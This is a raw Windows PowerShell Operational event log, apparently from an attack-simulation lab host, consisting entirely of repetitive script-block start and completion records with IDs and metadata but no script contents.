Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031715
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031713
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031707
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031685
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031684
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031683
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031682
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
